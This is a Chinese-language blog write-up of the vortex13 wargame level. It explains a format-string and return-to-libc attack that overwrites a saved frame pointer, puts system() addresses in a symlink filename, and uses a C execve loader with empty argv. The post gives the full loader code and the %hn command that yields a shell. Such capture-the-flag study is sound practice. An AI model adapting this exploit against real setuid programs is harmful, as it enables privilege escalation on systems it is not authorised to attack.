vortex13

Posted by rk700 on September 14, 2014

这道题和vortex12一样是猥琐流……

题目说了栈还是不能执行,所以还是ROP。但这里陷入了思维定式,主要还是因为vortex12的影响,让我觉得还要修改got。但ROP不只是修改got,直接改返回地址也是可以的;而vortex12里也可以在主线程里改返回地址,但那样没用因为主线程已经去掉euid了。这道题的输入限制在20个字符,如果想修改got几乎是不可能的了……

具体地,想要直接修改返回地址为system,还要用两次hn,但20个字符还是不够。于是我们通过修改vuln的stored ebp来跳回到我们指定的地址,接下来leave ret就可以返回我们提供的地址了

另一方面,由于一开始argv和envp都被清空了,所以我们不能把payload放到那里。最后发现,在栈的底部大概0xffffdff0附近,放的是程序的完整路径,链接文件也是链接的路径。这个没有被清空,所以还是猥琐流,把vortex13链接到一个文件名包含所需地址的链接文件即可

还有,argc会检查是否为0,所以我们只能另写一个loader,在里面execve,并且提供argv只包含NULL

#include <unistd.h>
#include <stdio.h>

int main() {
    char *args[] ={NULL};
    char *envs[] ={NULL};
    char *prog = "./" "\x38\xde\xff\xff" "\xfe\xd0\xff\xff" "\x50\xe7\xe5\xf7" "\x93\x99\xe3\xf7" "\xf4\xdf\xff\xff" " sh";
    //printf("%s\n", prog);
    execve(prog, args, envs);
}

具体的文件名是:(addr of saved ebp in vuln) + (prev saved ebp) + (addr of system) + (ret addr for system) + (addr of string “sh”) + (string “sh”)

最后把vortex13链接到我们那个文件,执行

$ ./noArg %57316x%116$hn

其中57316=0xdfe4,是我们的链接文件名的地址后4位, 得到shell